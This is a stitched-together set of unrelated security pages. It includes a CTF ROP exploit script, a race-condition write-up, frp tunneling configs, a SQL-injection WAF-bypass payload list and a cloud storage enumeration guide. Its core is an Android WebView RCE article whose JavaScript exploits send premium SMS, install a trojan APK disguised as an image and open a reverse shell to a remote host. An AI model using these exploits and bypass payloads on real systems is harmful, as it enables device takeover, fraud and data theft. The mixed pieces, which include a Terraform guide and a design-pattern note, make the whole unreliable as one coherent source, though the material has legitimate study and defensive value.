function 0. Exit Choice (do not enter more than 5 chars): pc = 000BAA gp0 = 20 gp1 = 00 gp2 = 00 gp3 = 00 gp4 = 00 gp5 = 00 gp6 = 00 gp7 = 00 sp = 1DDC gp8 = 00 gp9 = 00 gp10 = 00 gp11 = 00 gp12 = 17 gp13 = 04 gp14 = FA gp15 = 1D flg = 20 gp16 = 00 gp17 = 04 gp18 = 03 gp19 = 00 gp20 = EB gp21 = 1D gp22 = 00 gp23 = 02 00000001F99E gp24 = 29 gp25 = 00 gp26 = 00 gp27 = 02 gp28 = E3 gp29 = 1D gp30 = 00 gp31 = 02 gp32 = 000000 ``` So we came back to the trace, looking for the "main EEPROM dump function". We were focused on instructions that are executed with high `sp` address (lowest number of elements on call stack) and we've found the next candidate @ 0x466: ``` I|236496,00022C,1DD9,80,80,00,00,00,00,00,00,00,00,00,00,00,44,03,CF,02,FA,1D,DA,00,00,02,00,0A,16,00,00,02,D8,00,D6,1D,001200$ I|236497,00022E,1DDA,80,80,00,00,00,00,00,00,00,00,00,00,00,44,03,CF,02,FA,1D,DA,00,00,02,00,0A,16,00,00,02,12,00,D6,1D,120002$ I|236498,000466,1DDD,80,80,00,00,00,00,00,00,00,00,00,00,00,44,03,CF,02,FA,1D,DA,00,00,02,00,0A,16,00,00,02,12,00,D6,1D,334403$ I|236499,000468,1DDD,80,80,00,00,00,00,00,00,00,00,00,00,00,44,03,CF,02,FA,1D,16,00,00,02,00,0A,16,00,00,02,12,00,D6,1D,334403$ ^^^^^ ^^^^^ count start ``` By setting appropriate values to the `gp28:gp29` and `gp24:gp25` registers, we could dump EEPROM from chosen starting sector. The next task was to find a vulnerability that allows to set these registers to the first sector and jump to 0x466 hoping that this will dump the EEPROM part containing the flag. ## 3. Analysing magic function Fortunately, magic function was vulnerable to the most simple buffer overflow. By inputting a lot of `AAAAAAAAAAAAAAAAAA` we noticed that PC register got changed. Moreover, we could control the stack. ``` pc = 00022C gp0 = A0 gp1 = 00 gp2 = 00 gp3 = 00 gp4 = 00 gp5 = 00 gp6 = 00 gp7 = 00 sp = 1DE6 gp8 = 00 gp9 = 00 gp10 = 00 gp11 = 00 gp12 = 17 gp13 = 04 gp14 = FA gp15 = 1D flg = A0 gp16 = 00 gp17 = 04 gp18 = 35 gp19 = 00 gp20 = 00 gp21 = 02 gp22 = 00 gp23 = 04 00000002E18E gp24 = 00 gp25 = 00 gp26 = 00 gp27 = 02 gp28 = E5 gp29 = 65 gp30 = E1 gp31 = 1D gp32 = 656565 pc = 00022E gp0 = A0 gp1 = 00 gp2 = 00 gp3 = 00 gp4 = 00 gp5 = 00 gp6 = 00 gp7 = 00 sp = 1DE7 gp8 = 00 gp9 = 00 gp10 = 00 gp11 = 00 gp12 = 17 gp13 = 04 gp14 = FA gp15 = 1D flg = A0 gp16 = 00 gp17 = 04 gp18 = 35 gp19 = 00 gp20 = 00 gp21 = 02 gp22 = 00 gp23 = 04 00000002E18F gp24 = 00 gp25 = 00 gp26 = 00 gp27 = 02 gp28 = 65 gp29 = 65 gp30 = E1 gp31 = 1D gp32 = 656565 pc = CACACA gp0 = A0 gp1 = 00 gp2 = 00 gp3 = 00 gp4 = 00 gp5 = 00 gp6 = 00 gp7 = 00 sp = 1DEA gp8 = 00 gp9 = 00 gp10 = 00 gp11 = 00 gp12 = 17 gp13 = 04 gp14 = FA gp15 = 1D flg = A0 gp16 = 00 gp17 = 04 gp18 = 35 gp19 = 00 gp20 = 00 gp21 = 02 gp22 = 00 gp23 = 04 00000002E190 gp24 = 00 gp25 = 00 gp26 = 00 gp27 = 02 gp28 = 65 gp29 = 65 gp30 = E1 gp31 = 1D gp32 = 656565 pc = 000000 gp0 = A0 gp1 = 00 gp2 = 00 gp3 = 00 gp4 = 00 gp5 = 00 gp6 = 00 gp7 = 00 sp = 1DEA gp8 = 00 gp9 = 00 gp10 = 00 gp11 = 00 gp12 = 17 gp13 = 04 gp14 = FA gp15 = 1D flg = A0 gp16 = 00 gp17 = 04 gp18 = 35 gp19 = 00 gp20 = 00 gp21 = 02 gp22 = 00 gp23 = 04 00000002E191 gp24 = 00 gp25 = 00 gp26 = 00 gp27 = 02 gp28 = 65 gp29 = 65 gp30 = E1 gp31 = 1D gp32 = 656565 ``` We are controlling the PC (doubled value from stack is loaded to PC) and `gp28:gp29` are already set to the values from stack! Unfortunately, we can't control the section count `gp24:gp25` which is set to zero. This immediately suggested a ROP chain. We have a good place to jump to (@0x466) but we need to find a gadget that allows to increment `gp24:gp25` value or set to the value fetched from the stack. With small help from Python we have transformed trace to check how registers are changed by traced instructions. ``` 000228 SP 1DDF => 1DE5 REG 36 0F4242$ => 424242 00022A SP 1DE5 => 1DE6 REG 33 1D => 42 REG 36 424242 => 424200 00022C SP 1DE6 => 1DE7 REG 32 E5 => 42 REG 36 424200 => 420005 00022E REG 36 420005 => D54142 RET stack size 0x3 ``` This allowed us to easily find gadgets. A gadget @ 0xCCE can be used to overwrite wanted registers. ``` 000CCE modified REG 28 01 => 59 000CD0 modified SP 1DB3 => 1DB4 modified REG 33 00 => 1D modified REG 36 5B1DBA => 1DBA1D 000CD2 modified SP 1DB4 => 1DB5 modified REG 32 59 => BA modified REG 36 1DBA1D => BA1DE2 000CD4 modified SP 1DB5 => 1DB6 modified REG 21 02 => 1D modified REG 36 BA1DE2 => 1DE200 000CD6 modified SP 1DB6 => 1DB7 modified REG 20 00 => E2 modified REG 36 1DE200 => E20004 000CD8 modified SP 1DB7 => 1DBA modified REG 36 E20004 => 1A065B JMP 000CD8 => 000834 ``` ``` I|208087,000CCE,1DB3,80,92,00,00,00,00,00,BB,1D,00,00,00,00,00,02,AC,02,00,02,03,00,E2,1D,00,02,0F,00,00,02,57,00,92,00,5B1DBA$ I|208088,000CD0,1DB3,80,92,00,00,00,00,00,BB,1D,00,00,00,00,00,02,AC,02,00,02,03,00,E2,1D,00,02,57,00,00,02,57,00,92,00,5B1DBA$ I|208089,000CD2,1DB4,80,92,00,00,00,00,00,BB,1D,00,00,00,00,00,02,AC,02,00,02,03,00,E2,1D,00,02,57,00,00,02,57,1D,92,00,1DBA1D$ I|208090,000CD4,1DB5,80,92,00,00,00,00,00,BB,1D,00,00,00,00,00,02,AC,02,00,02,03,00,E2,1D,00,02,57,00,00,02,BA,1D,92,00,BA1DE2$ I|208091,000CD6,1DB6,80,92,00,00,00,00,00,BB,1D,00,00,00,00,00,02,AC,02,00,1D,03,00,E2,1D,00,02,57,00,00,02,BA,1D,92,00,1DE200$ I|208092,000CD8,1DB7,80,92,00,00,00,00,00,BB,1D,00,00,00,00,00,02,AC,02,E2,1D,03,00,E2,1D,00,02,57,00,00,02,BA,1D,92,00,E20004$ I|208093,000834,1DBA,80,92,00,00,00,00,00,BB,1D,00,00,00,00,00,02,AC,02,E2,1D,03,00,E2,1D,00,02,57,00,00,02,BA,1D,92,00,1A065B$ ``` `CCE` instruction moves instruction `gp28 => gp24`. Then `CD0` and `CD2` pops `gp29` and `gp28` from the stack. Finally, gadget returns at 0xCD8 without overwriting crucial registers. ### 4. Joining everything together Using gadgets found before we have constructed a payload: ``` 2\n # 'magic' function 1\n # first value BBBBBB # padding \x00\x01 # sector count: 1 \x00\x06\x62 # 0x662 * 2 => 0xCC4 \x00\x00 # starting sector: 0 AA # padding \x00\x02\x33\n # 0x233 * 2 => 0x466 ``` Finally, we've joined everything together and wrote a simple script that encoded our exploit and decoded the resulting output from server: ```python from pwn import * def read_line(r): writes = r.readuntil("@W0A") print(''.join([chr(int(c if c else "00", 16)) for c in writes.split("@W")])) def writestr(r, s): r.sendline(''.join("@W%02X" % ord(c) for c in s)) r = remote("registers.2020.ctfcompetition.com", 1337) # Enter the challenge mode r.recvuntil("&M") r.sendline("&C") # Write input writestr(r, '2\n1\nBBBBBB\x00\x01\x00\x06\x62\x00\x00AA\x00\x02\x33\n') # Read output for i in range(8): read_line(r) ``` After executing the exploit, we've successfully dumped first EEPROM sector getting a flag! ``` [+] Opening connection to registers.2020.ctfcompetition.com on port 1337: Done \x00enu: \x00. Read from EEPROM \x00. Magic function \x00. Exit \x00hoice (do not enter more than 5 chars): Enter Magic component number A and then B: \x00== EEPROM dump (0x00 - 0x80) === \x00000: 43 54 46 7B 72 33 36 31 35 37 33 72 35 39 30 37 | CTF{r361573r5907 \x00010: 33 37 37 33 72 7D 00 00 00 00 00 00 00 00 00 00 | 3773r}.......... ``` Dumped flag: `CTF{r361573r59073773r}`.
sec-knowleage
version: '2' services: rocketchat: image: vulhub/rocketchat:3.12.1 command: > bash -c "for i in `seq 1 30`; do node main.js && s=$$? && break || s=$$?; echo \"Tried $$i times. Waiting 5 secs...\"; sleep 5; done; (exit $$s)" restart: unless-stopped environment: - PORT=3000 - ROOT_URL=http://localhost:3000 - MONGO_URL=mongodb://mongo:27017/rocketchat - MONGO_OPLOG_URL=mongodb://mongo:27017/local - MAIL_URL=smtp://smtp.email depends_on: - mongo ports: - 3000:3000 mongo: image: mongo:4.0 restart: unless-stopped command: mongod --smallfiles --oplogSize 128 --replSet rs0 --storageEngine=mmapv1 labels: - "traefik.enable=false" # this container's job is just run the command to initialize the replica set. # it will run the command and remove himself (it will not stay running) mongo-init-replica: image: mongo:4.0 command: > bash -c "for i in `seq 1 30`; do mongo mongo/rocketchat --eval \" rs.initiate({ _id: 'rs0', members: [ { _id: 0, host: 'localhost:27017' } ]})\" && s=$$? && break || s=$$?; echo \"Tried $$i times. Waiting 5 secs...\"; sleep 5; done; (exit $$s)" depends_on: - mongo
sec-knowleage
##Web 100 (web, 100p) ###PL [ENG](#eng-version) W zadaniu dostajemy prostą stronę wyświetlającą ilość pieniędzy na koncie oraz okienko do aktywacji kodów. Zostaje nam udostępniony jednorazowy kod doładowujący 10$. Po użyciu kodu dostajemy komunikat, że ciągle mamy za mało pieniędzy, zatem musimy znaleźć jakiś sposób na wielokrotne użycie tego samego kodu lub rozgryźć jak program weryfikuje kody. Zaczęliśmy od łatwiejszego. Z kodami rabatowymi kojarzy się szczególnie jeden powszechny exploit: [race condtition](https://www.owasp.org/index.php/Race_Conditions). Usuwamy ciasteczka żeby pozbyć się sesji i wysyłamy parę zapytań z tym samym kodem jednocześnie, po odświeżeniu strony pokazują nam się najszybciej zarobione pieniądze w życiu, oraz flagę. ### ENG version We get a link to a webpage displaying the amount of money on our account and a form for submitting codes. We have a single-use code for 10$. After we use this code we get an information that we still don't have enough money for the flag, so we assume we need to find a way to use the code multiple times or figure out how the system verifies the codes. We started with the simpler one. There is a very common error with discount codes: [race condtition](https://www.owasp.org/index.php/Race_Conditions). We remove cookies to get rid of current session (with already used code) and we send multiple requests at the same time. After the page loads we can see the fastest earned money in out lifes, and the flag.
sec-knowleage
--- title: Terraform 介绍与安装 --- <center><h1>Terraform 介绍与安装</h1></center> --- ## 介绍 Terraform 是一种安全有效地构建、更改和版本控制基础设施的工具(基础架构自动化的编排工具)。 简单的说就是可以通过编写一些类似于 JSON 格式的文件,直接创建一批云上的服务资源,Terraform 和 AWS 的 CloudFormation 产品有些类似,但 CloudFormation 只支持 AWS,于是 HashiCorp 公司打造了一个多云 (Multi Cloud) 的开源的基础设施即代码 (IaC) 工具,即 Terraform ## 安装 Terraform 的安装很简单,不同操作系统的安装命令如下: - Ubuntu ```bash curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add - sudo apt-add-repository -y "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main" sudo apt-get update && sudo apt-get install -y terraform ``` - Centos ```bash sudo yum install -y yum-utils sudo yum-config-manager --add-repo https://rpm.releases.hashicorp.com/RHEL/hashicorp.repo sudo yum -y install terraform ``` - Mac ```bash brew tap hashicorp/tap brew install hashicorp/tap/terraform ``` - Windows ```bash choco install terraform ``` 或者直接到 Terraform 官网下载可执行文件使用,官方下载地址:https://www.terraform.io/downloads > 参考资料:https://www.cnblogs.com/sparkdev/p/10052310.html <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
# frp --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。 **项目地址** - https://github.com/fatedier/frp --- ## 安装 linux 配置方式见如下链接🔗 - [frp安装配置](../../../../Integrated/Linux/Power-Linux.md#frp) --- ## 配置案例 - https://gofrp.org/docs/examples/ - [配置frp内网穿透](https://www.feios.me/build-frp-server/) **frp 实验 : 通过 SSH 访问内网机器** - 公网 IP 的机器上(1.1.1.1) 部署 frps,修改 frps.ini 文件,这里使用了最简化的配置,设置了 frp 服务器用户接收客户端连接的端口: ```ini [common] bind_port = 7000 ``` 启动 frps - 内网机器上(172.16.1.1) 部署 frpc,修改 frpc.ini 文件 ```ini [common] server_addr = 1.1.1.1 server_port = 7000 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 ``` local_ip 和 local_port 配置为本地需要暴露到公网的服务地址和端口。remote_port 表示在 frp 服务端监听的端口,访问此端口的流量将会被转发到本地服务对应的端口。 启动 frpc - 外部访问 此时通过 SSH 访问内网机器 172.16.1.1,假设用户名为 test: ``` ssh -oPort=6000 test@1.1.1.1 ``` frp 会将请求 1.1.1.1:6000 的流量转发到内网机器 172.16.1.1 的 22 端口 **frp 实验 : 通过 RDP 访问内网机器(STCP)** - 公网 IP 的机器上(1.1.1.1) 部署 frps,修改 frps.ini 文件 ```ini [common] bind_port = 24880 authentication_method = token token = token tls_only = true ``` 启动 frps ``` ./frps -c frps.ini ``` - 内网机器上(172.16.1.1) 部署 frpc,修改 frpc.ini 文件 ```ini [common] server_addr = 1.1.1.1 server_port = 24880 authentication_method = token token = token tls_enable = true [frp] type = stcp sk = token local_ip = 127.0.0.1 local_port = 3389 # true 启用加密 use_encryption = false # true 启用压缩 use_compression = true ``` 启动 frpc ``` ./frpc.exe -c frpc.ini ``` - 主力机器(192.168.1.1) 部署 frpc,修改 frpc.ini 文件 ```ini [common] server_addr = 1.1.1.1 server_port = 24880 authentication_method = token token = token tls_enable = true [frp_visitor] type = stcp # stcp 的访问者 role = visitor # 要访问的 stcp 代理的名字 server_name = frp # 只有 sk 一致的用户才能访问到此服务 sk = token # 绑定本地端口用于访问 远程桌面 服务 bind_addr = 127.0.0.1 bind_port = 6000 use_encryption = false use_compression = false ``` 启动 frpc ``` ./frpc.exe -c frpc.ini ``` rdp 127.0.0.1:6000 **frp 实验 : 映射本地 http 服务到公网 vps 上,并且绑 host www.test123.com** - 公网 IP 的机器上(1.1.1.1) 部署 frps,修改 frps.ini 文件 ```ini [common] bind_port = 8080 authentication_method = token token = token vhost_http_port = 80 ``` 启动 frps ``` ./frps -c frps.ini ``` - 内网机器上(172.16.1.1) 部署 frpc,修改 frpc.ini 文件 ```ini [common] server_addr = 1.1.1.1 server_port = 8080 token=token [web] type = http local_port = 80 custom_domains = www.test123.com ``` 启动 frpc ``` ./frpc.exe -c frpc.ini ``` - 测试 ``` curl http://1.1.1.1 -H "Host:www.test123.com" ```
sec-knowleage
## Android Webview远程代码执行漏洞 > 砸漏发布于2020-11-05 ### 漏洞描述 Webview是Android用于浏览网页的组件,其包含的接口函数addJavascriptInterface可以将Java类或方法导出以供JavaScript调用,实现网页JS与本地JAVA的交互。由于系统没有限制已注册JAVA类的方法调用,因此未注册的其它任何JAVA类也可以被反射机制调用,这样可能导致被篡改的URL中存在的恶意代码被执行,用户手机被安装木马程序,发送扣费短信,通信录或者短信被窃取,甚至手机被远程控制。 ### 影响范围 Android API level 小于17 (即Android 4.2之前的系统版本) ### 漏洞详情 #### 漏洞位置 ```java WebView.addJavascriptInterface(Object obj, String interfaceName) ``` #### 漏洞触发条件 使用addJavascriptInterface方法注册可供JavaScript调用的Java对象; 使用WebView加载外部网页或者本地网页; Android系统版本低于4.2; #### 漏洞原理 Android系统通过WebView.addJavascriptInterface方法注册可供JavaScript调用的Java对象,以用于增强JavaScript的功能。但是系统并没有对注册Java类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何Java类,最终导致JavaScript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。 ### poc/exp 1. 利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API sendTextMessage来发送短信。 java代码: ```java mWebView = new WebView(this); mWebView.getSettings().setJavaScriptEnabled(true); mWebView.addJavascriptInterface(this, "injectedObj"); mWebView.loadUrl(file:///android_asset/www/index.html); ``` EXP的JavaScript代码: ```html <html> <body> <script> var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null); objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null); </script> </body> </html> ``` 2) 利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API getRuntime执行shell命令: EXP的JavaScript代码: ```html <html> <body> <script> function execute(cmdArgs) { return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]); document.write(getContents(res.getInputStream())); </script> </body> </html> ``` 利用后的执行结果: ![图例](png/webview_rce_1.png) 3) 利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API getRuntime执行shell命令,达到反弹一个手机端的shell到远程控制端的目的: EXP的JavaScript代码: ```html <html> <body> <script> function execute(cmdArgs) { return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2 &1|nc x.x.x.x 9099 /tmp/f"]); </script> </body> </html> ``` 执行后的结果: ![图例](png/webview_rce_2.png) 4) 利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API getRuntime执行shell命令进行挂马:a安装木马应用APK, b 安装执行ELF可执行程序; 简单的安装发送短信木马APK,EXP的JavaScript代码: ```html <html> <body> <script> function execute(cmdArgs) { return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } var apk = "\x50\x4B\x03\x04\x14\x00\x08\x00\x08\x00\x62 \xB9\x15\x30\x3D\x07\x01\x00\x00\x7C\x01\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD6\x0D\x00\x00\x4D\x45\x54\x41\x2D\x49\x4E\x46\x2F\x43\x45\x52\x54\x2E\x53------------------------------------------------------------ \x4D\x45\x54\x41\x2D\x49\x4E\x46\x2F\x43\x45\x52\x54\x2E\x52\x53\x41\x50\x4B\x05\x06\x00\x00\x00\x00\x07\x00\x07\x00\xBA\x01\x00\x00\xB6\x11\x00\x00\x00\x00" execute(["/system/bin/sh","-c","echo '"+apk+"' /data/data/com.example.hellojs/fake.png"]); execute(["chmod","755","/data/data/com.example.hellojs/fake.png"]); execute(["su","-c","pm install -r /data/data/com.example.hellojs/fake.png"]); </script> </body> </html> ``` 由下图可得知我们已经拼接成了一个APK程序,并伪装成一张png图片: ![图例](png/webview_rce_3.png) 由下图可知,我们已经成功安装fake.png APK程序: ![图例](png/webview_rce_4.png) 例如网上流行的Androrat远程控制程序,攻击者利用上述漏洞即可简单的安装此远程控制木马应用APK即可达到远程控制用户手机的目的。 利用漏洞拼接可执行ELF程序,并执行该ELF程序达到为所欲为的目的,博文Abusing WebView JavaScript Bridges 【3】还实现了在非root情况下利用ELF可执行程序偷取sdcard的文件的POC,由此可见,该漏洞的危害性极大: EXP的JavaScript代码: ```html <html> <body> <script> function execute(cmdArgs) { return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } var bin = "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\x00\x00\x00\xE4\x83\x00\x00\x34\x00\x00\x00\x58\x21\x00\x00\x00\x00\x00\x05\x34\x00\x20\x00\x08\x00\x28\x00\x18\x00\x17\x00\x06\x00\x00\x00\x34\x00\x00\x00\x34\x80\x00\x00\x34\x80\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00\x34\x01\x00\x00\x34\x81\x00\x00\x34\x81\x00\x00\x13--------------------------------------------------------------------------------------------------------------------------------\x00\x00\x00\x00\xD4\x00\x00\x00\x03\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\x44\x20\x00\x00\x2D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x71\x20\x00\x00\xE4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"; execute(["/system/bin/sh","-c","echo '" + bin + "' /data/data/com.example.hellojs/testBin"]); execute(["chmod","755","/data/data/com.example.hellojs/testBin"]); var res = execute(["/data/data/com.example.hellojs/testBin"]); document.write(getContents(res.getInputStream())); </script> </body> </html> ``` “testBin”文件已拼接生成,如下图所示: ![图例](png/webview_rce_5.png) 执行之后的结果如下: ![图例](png/webview_rce_6.png) ### 漏洞修复建议 1. 通过@JavascriptInterface注解 出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响)。按照Google官方文档[4]使用示例: ```java class JsObject { @JavascriptInterface public String toString() { return "injectedObject"; } } webView.addJavascriptInterface(new JsObject(), "injectedObject"); webView.loadData("", "text/html", null); webView.loadUrl("javascript:alert(injectedObject.toString())"); ``` 2. API Level等于或高于17的Android系统 建议不要使用addJavascriptInterface接口,以免带来不必要的安全隐患,请参照博文《在Webview中如何让JS与Java安全地互相调用》[5]。 如果一定要使用addJavascriptInterface接口: - 如果使用HTTPS协议加载URL,应进行证书校验防止访问的页面被篡改挂马; - 如果使用HTTP协议加载URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改; - 如果加载本地Html,应将html文件内置在APK中,以及进行对html页面完整性的校验; 3. 移除Android系统内部的默认内置接口 同时,在2014年发现在Android系统中webkit中默认内置的一个searchBoxJavaBridge_ 接口同时存在远程代码执行漏洞,该漏洞公布于CVE-2014-1939[6], 建议开发者通过以下方式移除该Javascript接口: ```java removeJavascriptInterface("searchBoxJavaBridge_") ``` 2014年香港理工大学的研究人员Daoyuan Wu和Rocky Chang发现了两个新的攻击向量存在于android/webkit/AccessibilityInjector.java中,分别是”accessibility” 和”accessibilityTraversal” ,调用了此组件的应用在开启辅助功能选项中第三方服务的安卓系统中会造成远程代码执行漏洞。该漏洞公布于CVE-2014-7224, 此漏洞原理与searchBoxJavaBridge_接口远程代码执行相似,均为未移除不安全的默认接口,建议开发者通过以下方式移除该JavaScript接口: ```java removeJavascriptInterface("accessibility"); removeJavascriptInterface("accessibilityTraversal"); ``` ### 参考文章 [1] [CVE-2012-6636](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636) [2] [Attacks on WebView in the Android System ](https://web.ecs.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf) [3] [Abusing WebView JavaScript Bridges](https://d3adend.org/blog/posts/abusing-webview-javascript-bridges/) [4] [addJavascriptInterface](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object,%20java.lang.String)) [5] [在Webview中如何让JS与Java安全地互相调用](http://static.kancloud.cn/digest/android-safe/107906) [6] [CVE-2014-1939](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939)
sec-knowleage
# 0x00 延时过狗 盲注过狗相对联合注入来说,感觉上是更简单,我们先来试试时间盲注把,比布尔稍稍灵活一点 ``` if(1,1,1) 不拦截 a if(1,1,1) 不拦截 and if(1,1,1) 拦截 | if(1,1,1) 不拦截 || if(1,1,1) 拦截 && if(1,1,1) 拦截 /*!and*/ if(1,1,1) 拦截 /*!11440and*/ if(1,1,1) 不拦截 andaif(1,1,1) 不拦截 ``` 通过上面的测试我们其实可以很简单的看出来 他是拦截的 xx if 这个语句,其中xx 为and 和 or 这2个词有点敏感,但是绕过还是可以的 通过上一章的测试语句 发现版本为 11440的 内联注释直接放行,咳咳这样后面就直接注入,感觉并不是我们这一章想要的,我们这一章来试试不用内联注释内不内绕过 查阅乌云知识库发现一个小知识点 `and!!!1=1 ` and后面可以接上奇数个特殊的字符包括不限于`! ~ & -` 其他还可以自己测试 那么我们的payload就能构造出来了 ``` and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1) ``` 系统函数怎绕过我就不多说了每一张就有 # 0x01 布尔过狗 布尔注入过狗只能说是相对来说最简单的吧,因为可以不使用条件语句,少了一个绕过点 ``` and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)='r' 拦截 and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r 不拦截 and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=1 不拦截 ``` 上面忘了说的就是这个点 =r 这里 不能使用引号,那绕过他就很简单了 什么 HEX ASCII 都行,通过测试发现 使用布尔盲注 他的过滤真的很差,我们试试 把and 换成&& ``` and substr((select hex(user/**/(/*!*/))),1,1)>1 拦截 /*!and*/ substr((select hex(user/**/(/*!*/))),1,1)>1 拦截 %26%26 substr((select hex(user/**/(/*!*/))),1,1)>1 拦截 /*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1 不拦截 ``` # 0x02 文末 自己不测试 永远发现不了新东西 #### 本文如有错误,请及时提醒,避免误导他人 * author:404
sec-knowleage
## 6. 原型模式(Prototype) ### Intent 使用原型实例指定要创建对象的类型,通过复制这个原型来创建新对象。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/b8922f8c-95e6-4187-be85-572a509afb71.png"/> </div><br> ### Implementation ```java public abstract class Prototype { abstract Prototype myClone(); } ``` ```java public class ConcretePrototype extends Prototype { private String filed; public ConcretePrototype(String filed) { this.filed = filed; } @Override Prototype myClone() { return new ConcretePrototype(filed); } @Override public String toString() { return filed; } } ``` ```java public class Client { public static void main(String[] args) { Prototype prototype = new ConcretePrototype("abc"); Prototype clone = prototype.myClone(); System.out.println(clone.toString()); } } ``` ```html abc ``` ### JDK - [java.lang.Object#clone()](http://docs.oracle.com/javase/8/docs/api/java/lang/Object.html#clone%28%29)
sec-knowleage
--- title: 列出对象存储服务 --- ::: warning 注意 * 为了提高程序运行速度,当获取一次结果后,获取的结果会缓存下来,缓存文件为 `~/.config/cf/cache.db` * 如果不想使用缓存数据,可以在执行命令的时候加上 `--flushCache` 参数 ::: ## 列出阿里云 OSS 对象存储服务 使用以下命令列出 OSS 对象存储服务 ```bash cf alibaba oss ls ``` 如果想指定获取对象的数量,可以使用 `-n` 或者 `--number` 参数 ```bash cf alibaba oss ls -n 100 ``` > 当 CF 使用缓存数据时,由于对象数量已经被缓存,所以此时 -n 命令是无效的。 如果想指定区域,可以使用 `-r` 或者 `--region` 参数 ```bash cf alibaba oss ls -r cn-beijing ``` 在有些情况下,当前 AK 可能会没有列出 Bucket 的权限,如果你知道 Bucket 的名称,可以使用 `-b` 指定 Bucket ```bash cf alibaba oss ls -b bucket_name ``` 这时可能会碰到没有获取 Bucket 区域的情况,加上 `-r` 参数指定区域即可,例如指定 cn-hangzhou ```bash cf alibaba oss ls -b bucket_name -r cn-hangzhou ``` ## 列出 AWS S3 对象存储服务 使用以下命令列出 S3 对象存储服务 ```bash cf aws s3 ls ``` 如果想指定获取对象的数量,可以使用 `-n` 或者 `--number` 参数 ```bash cf aws s3 ls -n 100 ``` > 当 CF 使用缓存数据时,由于对象数量已经被缓存,所以此时 -n 命令是无效的。 如果想指定区域,可以使用 `-r` 或者 `--region` 参数 ```bash cf aws s3 ls -r us-east-1 ``` ## 列出华为云 OBS 对象存储服务 使用以下命令列出 OBS 对象存储服务 ```bash cf huawei obs ls ``` 如果想指定获取对象的数量,可以使用 `-n` 或者 `--number` 参数 ```bash cf huawei obs ls -n 100 ``` > 当 CF 使用缓存数据时,由于对象数量已经被缓存,所以此时 -n 命令是无效的。 如果想指定区域,可以使用 `-r` 或者 `--region` 参数 ```bash cf huawei obs ls -r cn-north-4 ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年12月13日" } } </script>
sec-knowleage
